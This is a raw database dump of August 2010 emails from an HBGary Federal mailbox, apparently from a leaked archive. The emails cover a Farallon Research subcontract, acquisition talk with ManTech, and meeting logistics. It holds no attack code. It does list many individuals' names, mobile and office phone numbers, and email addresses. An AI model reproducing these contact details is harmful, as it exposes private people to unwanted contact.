mark@hbgary.com, Greg Hoglund\r\n        &lt;greg@hbgary.com&gt;\r\n      \r\n    \r\n  \r\n  \r\n  \r\nHello Nathan,\r\n  \r\n  \r\n  Penny called and forwarded me your request.  Aaron, Mark and I\r\nwill be available this weekend to help with anything you need.  Greg\r\nwill be available as required. Please cc me on correspondence so we can\r\nrespond quickly to your requests.\r\n  \r\n  \r\n  My contact information is below if you need an immediate\r\nresponse\r\non anything please feel free to call.\r\n  \r\n  \r\n  Regards,\r\n  Ted\r\n  \r\n  \r\n  \r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\n  www.hbgary.com  |\r\n ted@hbgary.com\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  On Fri, Aug 6, 2010 at 4:32 PM, Penny\r\nLeavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n  \r\n    \r\n-----Original Message-----\r\nFrom: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\nSent: Friday, August 06, 2010 2:02 PM\r\nTo: Penny Leavy-Hoglund; Ray Owen\r\nSubject: URGENT: Update\r\n    \r\nHey Penny\r\n    \r\nNice to see you last week in Vegas.  Hope the show is turning into lots\r\nof business for you guys.  I have some good news!  I wanted to give you\r\na quick update on Farallon and the CID-1 that we are working together\r\nwith HBGary.  This morning we got a call from the customer that we need\r\nto have task statements for the entirety of CID-1 into them by Monday.\r\nNow unfortunately the work I need help with, we will be sending you\r\ninformation regarding the scope and rough quarter by quarter  breakdown\r\nof the work(and funding) we hope to accomplish through CID-1 and the\r\ntasks requested of HBGary.  I am very sorry to pop this onto you, we\r\ndidn&#39;t expect this, although we are happy that the funding for the\r\nproject came through.  We will likely have some ability to adjust a bit\r\ncome next week, but probably need you to formally commit this weekend so\r\nwe can turn it into the government by monday.\r\n    \r\nWe are including a few clauses into the contract to give us some\r\nrecourse.  We are including a payment schedule reopening clause to allow\r\nus to change the payments due to Farallon and HBGary once we get started\r\nand have a better idea of the underlying tasks.\r\n    \r\n    \r\nGive me a call if you would like to discuss.  We will send you some more\r\ndetails of the tasks as well as the expected funding by quarter soon.\r\n    \r\nThanks!\r\n    \r\n    \r\nnathan\r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n&lt;SOW CID-1 Farallon Research 20100809 v0.2.pdf&gt;\r\n',12886,'aaron_hbgary_com/12886.html'),(9898,'2010-08-07','aaron@hbgary.com','/aaron@hbgary.com/new/1297007765.M214719P14101Q4753.eml','\"Ted Vera\" <ted@hbgary.com>','','\r\n\r\n',5535,'aaron_hbgary_com/5535.html'),(9899,'2010-08-07','aaron@hbgary.com','/aaron@hbgary.com/new/1297007772.M473701P14101Q4754.eml','\"Ted Vera\" <ted@hbgary.com>','','\r\n\r\n',12462,'aaron_hbgary_com/12462.html'),(9900,'2010-08-07','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>','/aaron@hbgary.com/new/1297007772.M849194P14101Q4755.eml','aaron@hbgary.com,aaron@hbgary.com,','Re: Call','Yes, can we do it later?  I am going to be gone until about 3-4 PST.  \r\nYou can give me a call, though I doubt I will tell you much more than I \r\nam going to now.\r\n\r\nWe would just like you to commit to the work scope for HBGary\'s piece of \r\nCID-1.  We need to commit Farallon for CID-1 soon and would like to make \r\nsure that we are all on the same page onto what is required.\r\n\r\nRay is diving today, but probably can be reached later today at \r\n650-464-5570.  My number is 719-321-6135\r\n\r\nNathan\r\n\r\n\r\n\r\nOn 8/7/2010 9:25 AM, aaron@hbgary.com wrote:\r\n> Nate,\r\n>\r\n> Can we set up a call today to discuss exactly what we need to produce by monday.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n',9133,'aaron_hbgary_com/9133.html'),(9901,'2010-08-07','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297007773.M264019P14101Q4757.eml','\"Aaron Barr\" <aaron@hbgary.com>','greetings','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nYou may have heard that we won Eric&#8217;s FBI eSOC job&#8230;$100M\r\nwin, biggest since I have been here. Great way to end the week.\r\n\r\n&nbsp;\r\n\r\nThanks for being able to reschedule next week. I do want to\r\nget together &#8211; I was surprised to hear that your &#8220;parent&#8221; is\r\nfor sale. I wonder why Penny did not mention something while she was here. Maybe\r\ntoo early.\r\n\r\n&nbsp;\r\n\r\nAt any rate, I believe that HBGary is most, if not totally,\r\nproduct oriented, while you at HBGary Federal have the services piece. But it\r\nalso seems that you use their technology as more than just a third party&#8230;how\r\nwill this affect you? And what do you think is the future of your company? \r\n\r\n&nbsp;\r\n\r\nDana probably told you I am going to NY for two days of\r\ninvestor briefings with George early next week. This will be a first for me &#8211;\r\n15 investment houses in two days. The list is impressive.\r\n\r\n&nbsp;\r\n\r\nThanks,&nbsp; Bill\r\n\r\n&nbsp;\r\n\r\nL. William Varner\r\n\r\nPresident\r\n\r\nMission, Cyber &amp;\r\nTechnology Solutions Group\r\n\r\nManTech International\r\nCorporation\r\n\r\n2250 Corporate Park Drive,\r\nSuite 500\r\n\r\nHerndon, VA 20171\r\n\r\nOffice: (703) 674-2778 l\r\nE-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp; \r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13072,'aaron_hbgary_com/13072.html'),(9902,'2010-08-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007773.M42345P14101Q4756.eml','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>,\"Nathan Atherley\" <nathan.atherley@farallon-research.com>,,','Re: Call','Nate,\r\n\r\nBased on note below we might not need a call.  We are excited about the work and commit to the work and scope as outlined.  Just a few questions.\r\n\r\n1. How would you like us to formally commit.\r\n2. What is the anticipated start date and when could we expect a subcontract agreement.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 7, 2010, at 12:46 PM, Nathan Atherley wrote:\r\n\r\n> Yes, can we do it later?  I am going to be gone until about 3-4 PST.  You can give me a call, though I doubt I will tell you much more than I am going to now.\r\n> \r\n> We would just like you to commit to the work scope for HBGary\'s piece of CID-1.  We need to commit Farallon for CID-1 soon and would like to make sure that we are all on the same page onto what is required.\r\n> \r\n> Ray is diving today, but probably can be reached later today at 650-464-5570.  My number is 719-321-6135\r\n> \r\n> Nathan\r\n> \r\n> \r\n> \r\n> On 8/7/2010 9:25 AM, aaron@hbgary.com wrote:\r\n>> Nate,\r\n>> \r\n>> Can we set up a call today to discuss exactly what we need to produce by monday.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2251,'aaron_hbgary_com/2251.html'),(9903,'2010-08-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007773.M602080P14101Q4758.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>','Re: greetings','Bill,I did hear about eSOC. &nbsp;I spoke with Eric yesterday and told him if there is anything this small company can do to help let me know. &nbsp;Honestly, I think it is one of many good things to come for Mantech in the cybersecurity arena. &nbsp;The more I learn the more impressed I am. &nbsp;As I mentioned the other day at breakfast I have been looking at the cybersecurity challenges for a while. &nbsp;On the technology side I see encryption, authentication, and identity management being critical to the future of the evolution of technology and security. &nbsp;Firewalls, Host based security, IDS, IPS I think will continue to have significant challenges in meeting demands without significant improvements in Threat Intelligence, Incident Response, and IO. &nbsp;Your company in at least 2 of the 3, and no one is really a leader in threat intel yet.I think Penny did not mention it because much of these types of negotiations at this level are new and she and greg weren\'t sure, but some financial/tax motivations and the visibility the company is getting right now, helped them to come to a decision. &nbsp;I have talked with them on multiple occasions about the possibility of someone like Mantech purchasing them vice some of the traditional security vendors and the benefits of getting greater use of of the total of the companies capabilities.I don\'t think the sale would have a huge effect on me now, 6 months different story, but we have solidified our business goals and focused markets. &nbsp;We want to lead in Threat Intelligence and IO (social media) as well as have a discriminatory capability for IR. &nbsp;I separated IR because their are lots of folks in this field and its newer to us, so we focused on partnerships to develop a technological capability that is lasting. &nbsp;HBGary owns 15% of HBGary Federal, so optimally a companies that is mostly compatible and gets our missions would purchase. &nbsp;We do have a tight relationship on the technology but we are working to formalize those on the occasion of a sale. &nbsp;I think this will work out fine.Future for our company is in those three areas, Threat Intel, IR, and IO. &nbsp;We believe we are developing unique discriminators in each of those areas. &nbsp;In Threat Intelligence we are focusing on using our volume malware analysis environment, our fingerprint tool, and social media collection to build threat maps in Palantir. &nbsp;In IR we have partnered with Fidelis to integrate HBGary Active Defense and Fidelis XPS to provide a leave behind capability that can do continuous incident response once an initial engagement ends. &nbsp;This will provide significantly improved continual security and lessen the cost of expensive onsite engagements. &nbsp;On the IO side we are focused on social media and our expertise in leveraging it to extend IO missions. &nbsp;In 2-3 weeks we will be launghing our security web portal which will allow people to submit malware to analysis, request a memory scan of their system for malware, and provide botnet c&amp;c data on specific IPs. &nbsp;One stop shop for remote malware analysis. &nbsp;Things are starting to pick up for us as well, just in much smaller doses.The trip to NY sounds like fun, two days of learning about some great capabilities I am sure.I look forward to our conversation.BTW, Penny and Greg are very interested to talk about options for acquisition at your convenience. &nbsp;I believe Penny will be in DC for most of next week as well. &nbsp;Selfishly it would be the best of all worlds I think for me if Mantech purchased HBGary and by default became a part owner in HBGary Federal.AaronOn Aug 7, 2010, at 2:11 PM, Varner, Bill wrote:Aaron,&nbsp;You may have heard that we won Eric’s FBI eSOC job…$100M win, biggest since I have been here. Great way to end the week.&nbsp;Thanks for being able to reschedule next week. I do want to get together – I was surprised to hear that your “parent” is for sale. I wonder why Penny did not mention something while she was here. Maybe too early.&nbsp;At any rate, I believe that HBGary is most, if not totally, product oriented, while you at HBGary Federal have the services piece. But it also seems that you use their technology as more than just a third party…how will this affect you? And what do you think is the future of your company?&nbsp;Dana probably told you I am going to NY for two days of investor briefings with George early next week. This will be a first for me – 15 investment houses in two days. The list is impressive.&nbsp;Thanks,&nbsp; Bill&nbsp;L. William VarnerPresidentMission, Cyber &amp; Technology Solutions GroupManTech International Corporation2250 Corporate Park Drive, Suite 500Herndon, VA 20171Office: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp;Email:&nbsp;Bill.Varner@Mantech.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2665,'aaron_hbgary_com/2665.html'),(9904,'2010-08-08','\"Ray Owen\" <ray.owen@farallon-research.com>','/aaron@hbgary.com/new/1297007773.M827909P14101Q4759.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: Call','\r\n\r\n\r\n  \r\n  \r\n\r\n\r\nAaron,\r\n\r\nWe will send out a formal request tomorrow morning, with instructions.\r\n\r\nWe\'re not completely sure on the start date, because we have to get the\r\nfunding flow going first. Maybe as early as 1 Sept, but probably late\r\nthat month. We will subcontract as soon as we have a valid Farallon\r\ncontract, which should be later this month.\r\n\r\nThanks,\r\nRay\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Ray Owen\r\n\r\n  Normal\r\n\r\n  Ray Owen\r\n\r\n  2\r\n\r\n  1\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  1\r\n\r\n  11\r\n\r\n  64\r\n\r\n  1\r\n\r\n  1\r\n\r\n  74\r\n\r\n  12.00\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Clean\r\n\r\n  Clean\r\n\r\n  false\r\n\r\n  \r\n\r\n  \r\n\r\n  false\r\n\r\n  false\r\n\r\n  false\r\n\r\n  \r\n\r\n  EN-US\r\n\r\n  X-NONE\r\n\r\n  X-NONE\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n  MicrosoftInternetExplorer4\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */\r\n\r\n table.MsoNormalTable\r\n\r\n	{mso-style-name:\"Table Normal\";\r\n\r\n	mso-tstyle-rowband-size:0;\r\n\r\n	mso-tstyle-colband-size:0;\r\n\r\n	mso-style-noshow:yes;\r\n\r\n	mso-style-priority:99;\r\n\r\n	mso-style-qformat:yes;\r\n\r\n	mso-style-parent:\"\";\r\n\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n\r\n	mso-para-margin:0in;\r\n\r\n	mso-para-margin-bottom:.0001pt;\r\n\r\n	mso-pagination:widow-orphan;\r\n\r\n	font-size:10.0pt;\r\n\r\n	font-family:\"Times New Roman\",\"serif\";}\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n \r\n\r\nRay Owen|ray.owen@farallon-research.com|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\nOn 8/7/2010 10:02 AM, Aaron Barr wrote:\r\n\r\n  Nate,\r\n\r\nBased on note below we might not need a call.  We are excited about the work and commit to the work and scope as outlined.  Just a few questions.\r\n\r\n1. How would you like us to formally commit.\r\n2. What is the anticipated start date and when could we expect a subcontract agreement.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 7, 2010, at 12:46 PM, Nathan Atherley wrote:\r\n\r\n  \r\n  \r\n    Yes, can we do it later?  I am going to be gone until about 3-4 PST.  You can give me a call, though I doubt I will tell you much more than I am going to now.\r\n\r\nWe would just like you to commit to the work scope for HBGary\'s piece of CID-1.  We need to commit Farallon for CID-1 soon and would like to make sure that we are all on the same page onto what is required.\r\n\r\nRay is diving today, but probably can be reached later today at 650-464-5570.  My number is 719-321-6135\r\n\r\nNathan\r\n\r\n\r\n\r\nOn 8/7/2010 9:25 AM, aaron@hbgary.com wrote:\r\n    \r\n    \r\n      Nate,\r\n\r\nCan we set up a call today to discuss exactly what we need to produce by monday.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n      \r\n    \r\n  \r\n  \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n  \r\n\r\n\r\n\r\n',983,'aaron_hbgary_com/983.html'),(9905,'2010-08-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007774.M259763P14101Q4761.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: Linda\'s availability to meet at GFIRST','Maria,FYI it will be Ted going vice me.AaronSent from my iPhoneBegin forwarded message:\r\nFrom: Linda Betz &lt;lnbetz@us.ibm.com&gt;Date: August 8, 2010 8:18:05 AM EDTTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\nCc: Aaron Barr &lt;aaron@hbgary.com&gt;, Alan Mitchell &lt;amitch@us.ibm.com&gt;Subject: Re: Linda&#39;s availability to meet at GFIRST\r\n\r\nMaria, Actually anytime..... but if\r\nI were going to suggest, I&#39;d say 6:00pm, just because my body will still\r\nbe eastern time and I am not a lively night person\r\n\r\n\r\nThanks,\r\nLinda\r\n\r\n\r\nLinda N. Betz   PMP, CIPP, CISM\r\nDirector IT Policy and Information Security (CISO) - CIO Office\r\nemail : lnbetz@us.ibm.com\r\nPhone : 914-766-3860  Tie-Line 826-3860\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nMaria Lucas &lt;maria@hbgary.com&gt;\r\n\r\nTo:\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n\r\nCc:\r\nAaron Barr &lt;aaron@hbgary.com&gt;,\r\nLinda Betz/Poughkeepsie/IBM@IBMUS\r\n\r\nDate:\r\n08/06/2010 08:55 PM\r\n\r\nSubject:\r\nRe: Linda&#39;s availability to meet at\r\nGFIRST\r\n\r\n\r\n\r\n\r\nHi Alan\r\n \r\nGreat to hear.  Why don&#39;t we plan on dinner Wednesday?\r\n \r\nLet me know the best time for you and Linda...\r\n \r\nMaria\r\n\r\nOn Fri, Aug 6, 2010 at 7:20 AM, Alan Mitchell &lt;amitch@us.ibm.com&gt;\r\nwrote:\r\nAaron/Maria: See Linda&#39;s availability below. Please feel\r\nfree to reach out to Linda to coordinate meeting up at GFIRST. Thanks-Alan\r\n\r\nAlan, I have myself getting down to TX by lunchtime on Wednesday. If we\r\nwant to organize a meeting with HBGary, we could do on Wednesday afternoon\r\nor dinner on Wednesday (if that will work) ok?? \r\n\r\n\r\nThanks,\r\nLinda\r\n\r\n\r\nLinda N. Betz PMP, CIPP, CISM\r\nDirector IT Policy and Information Security (CISO) - CIO Office\r\nemail : lnbetz@us.ibm.com\r\nPhone : 914-766-3860 Tie-Line 826-3860\r\n\r\n\r\n\r\nAlan Mitchell, CISSP® #43156, \r\nIBM Senior Technical Staff Member,\r\nChief Information Security Office-IBM CIO\r\n\r\nNSA-IAM,ITIL,LCP\r\nIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n720.396.3244 TL 938.3244\r\n\r\n&quot;By all means let&#39;s be open-minded, but not so open-minded that our\r\nbrains drop out&quot; -Richard Dawkins\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com\r\n\r\n\r\n \r\n \r\n\r\n\r\n',11439,'aaron_hbgary_com/11439.html'),(9906,'2010-08-08','\"Linda Betz\" <lnbetz@us.ibm.com>','/aaron@hbgary.com/new/1297007774.M49837P14101Q4760.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,','Re: Linda\'s availability to meet at GFIRST','\r\nMaria, Actually anytime..... but if\r\nI were going to suggest, I\'d say 6:00pm, just because my body will still\r\nbe eastern time and I am not a lively night person\r\n\r\n\r\nThanks,\r\nLinda\r\n\r\n\r\nLinda N. Betz &nbsp; PMP, CIPP, CISM\r\nDirector IT Policy and Information Security (CISO) - CIO Office\r\nemail : lnbetz@us.ibm.com\r\nPhone : 914-766-3860 &nbsp;Tie-Line 826-3860\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nMaria Lucas &lt;maria@hbgary.com&gt;\r\n\r\nTo:\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n\r\nCc:\r\nAaron Barr &lt;aaron@hbgary.com&gt;,\r\nLinda Betz/Poughkeepsie/IBM@IBMUS\r\n\r\nDate:\r\n08/06/2010 08:55 PM\r\n\r\nSubject:\r\nRe: Linda\'s availability to meet at\r\nGFIRST\r\n\r\n\r\n\r\n\r\nHi Alan\r\n&nbsp;\r\nGreat to hear.&nbsp; Why don\'t we plan on dinner Wednesday?\r\n&nbsp;\r\nLet me know the best time for you and Linda...\r\n&nbsp;\r\nMaria\r\n\r\nOn Fri, Aug 6, 2010 at 7:20 AM, Alan Mitchell &lt;amitch@us.ibm.com&gt;\r\nwrote:\r\nAaron/Maria: See Linda\'s availability below. Please feel\r\nfree to reach out to Linda to coordinate meeting up at GFIRST. Thanks-Alan\r\n\r\nAlan, I have myself getting down to TX by lunchtime on Wednesday. If we\r\nwant to organize a meeting with HBGary, we could do on Wednesday afternoon\r\nor dinner on Wednesday (if that will work) ok?? \r\n\r\n\r\nThanks,\r\nLinda\r\n\r\n\r\nLinda N. Betz PMP, CIPP, CISM\r\nDirector IT Policy and Information Security (CISO) - CIO Office\r\nemail : lnbetz@us.ibm.com\r\nPhone : 914-766-3860 Tie-Line 826-3860\r\n\r\n\r\n\r\nAlan Mitchell, CISSP® #43156, \r\nIBM Senior Technical Staff Member,\r\nChief Information Security Office-IBM CIO\r\n\r\nNSA-IAM,ITIL,LCP\r\nIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n720.396.3244 TL 938.3244\r\n\r\n&quot;By all means let\'s be open-minded, but not so open-minded that our\r\nbrains drop out&quot; -Richard Dawkins\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n',12906,'aaron_hbgary_com/12906.html'),(9907,'2010-08-08','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297007774.M508894P14101Q4762.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Ed Wallach has indicated you are a fellow group member of The Intelligence Community (IC):\r\n\r\n  \r\n    Hello Aaron,\r\n\r\nI\'m working on a few airborne ISR searches and would like to connect with you.\r\n\r\nThanks!\r\n\r\n\r\n\r\n- Ed Wallach\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Ed Wallach\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW you can showcase your professional knowledge on LinkedIn to receive job/consulting offers and enhance your professional reputation? Posting replies to questions on LinkedIn Answers puts you in front of the world\'s professional community. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',15166,'aaron_hbgary_com/15166.html'),(9908,'2010-08-08','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297007774.M729068P14101Q4763.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: greetings','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks, Aaron.\r\n\r\n&nbsp;\r\n\r\nI will discuss with George. Might be interesting to get you and\r\nPenny together with him and talk about the business model. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Saturday, August 07, 2010 3:31 PM\r\nTo: Varner, Bill\r\nSubject: Re: greetings\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBill,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI did hear about eSOC. &nbsp;I spoke with Eric yesterday and\r\ntold him if there is anything this small company can do to help let me know.\r\n&nbsp;Honestly, I think it is one of many good things to come for Mantech in\r\nthe cybersecurity arena. &nbsp;The more I learn the more impressed I am. &nbsp;As\r\nI mentioned the other day at breakfast I have been looking at the cybersecurity\r\nchallenges for a while. &nbsp;On the technology side I see encryption,\r\nauthentication, and identity management being critical to the future of the\r\nevolution of technology and security. &nbsp;Firewalls, Host based security,\r\nIDS, IPS I think will continue to have significant challenges in meeting\r\ndemands without significant improvements in Threat Intelligence, Incident\r\nResponse, and IO. &nbsp;Your company in at least 2 of the 3, and no one is\r\nreally a leader in threat intel yet.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI think Penny did not mention it because much of these types\r\nof negotiations at this level are new and she and greg weren\'t sure, but some\r\nfinancial/tax motivations and the visibility the company is getting right now,\r\nhelped them to come to a decision. &nbsp;I have talked with them on multiple\r\noccasions about the possibility of someone like Mantech purchasing them vice\r\nsome of the traditional security vendors and the benefits of getting greater\r\nuse of of the total of the companies capabilities.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI don\'t think the sale would have a huge effect on me now, 6\r\nmonths different story, but we have solidified our business goals and focused\r\nmarkets. &nbsp;We want to lead in Threat Intelligence and IO (social media) as\r\nwell as have a discriminatory capability for IR. &nbsp;I separated IR because\r\ntheir are lots of folks in this field and its newer to us, so we focused on\r\npartnerships to develop a technological capability that is lasting.\r\n&nbsp;HBGary owns 15% of HBGary Federal, so optimally a companies that is\r\nmostly compatible and gets our missions would purchase. &nbsp;We do have a\r\ntight relationship on the technology but we are working to formalize those on\r\nthe occasion of a sale. &nbsp;I think this will work out fine.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFuture for our company is in those three areas, Threat\r\nIntel, IR, and IO. &nbsp;We believe we are developing unique discriminators in\r\neach of those areas. &nbsp;In Threat Intelligence we are focusing on using our\r\nvolume malware analysis environment, our fingerprint tool, and social media\r\ncollection to build threat maps in Palantir. &nbsp;In IR we have partnered with\r\nFidelis to integrate HBGary Active Defense and Fidelis XPS to provide a leave\r\nbehind capability that can do continuous incident response once an initial\r\nengagement ends. &nbsp;This will provide significantly improved continual\r\nsecurity and lessen the cost of expensive onsite engagements. &nbsp;On the IO\r\nside we are focused on social media and our expertise in leveraging it to\r\nextend IO missions. &nbsp;In 2-3 weeks we will be launghing our security web\r\nportal which will allow people to submit malware to analysis, request a memory\r\nscan of their system for malware, and provide botnet c&amp;c data on specific\r\nIPs. &nbsp;One stop shop for remote malware analysis. &nbsp;Things are starting\r\nto pick up for us as well, just in much smaller doses.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe trip to NY sounds like fun, two days of learning about\r\nsome great capabilities I am sure.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI look forward to our conversation.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBTW, Penny and Greg are very interested to talk about\r\noptions for acquisition at your convenience. &nbsp;I believe Penny will be in\r\nDC for most of next week as well. &nbsp;Selfishly it would be the best of all\r\nworlds I think for me if Mantech purchased HBGary and by default became a part\r\nowner in HBGary Federal.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 7, 2010, at 2:11 PM, Varner, Bill wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYou\r\nmay have heard that we won Eric&#8217;s FBI eSOC job&#8230;$100M win, biggest since I have\r\nbeen here. Great way to end the week.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nfor being able to reschedule next week. I do 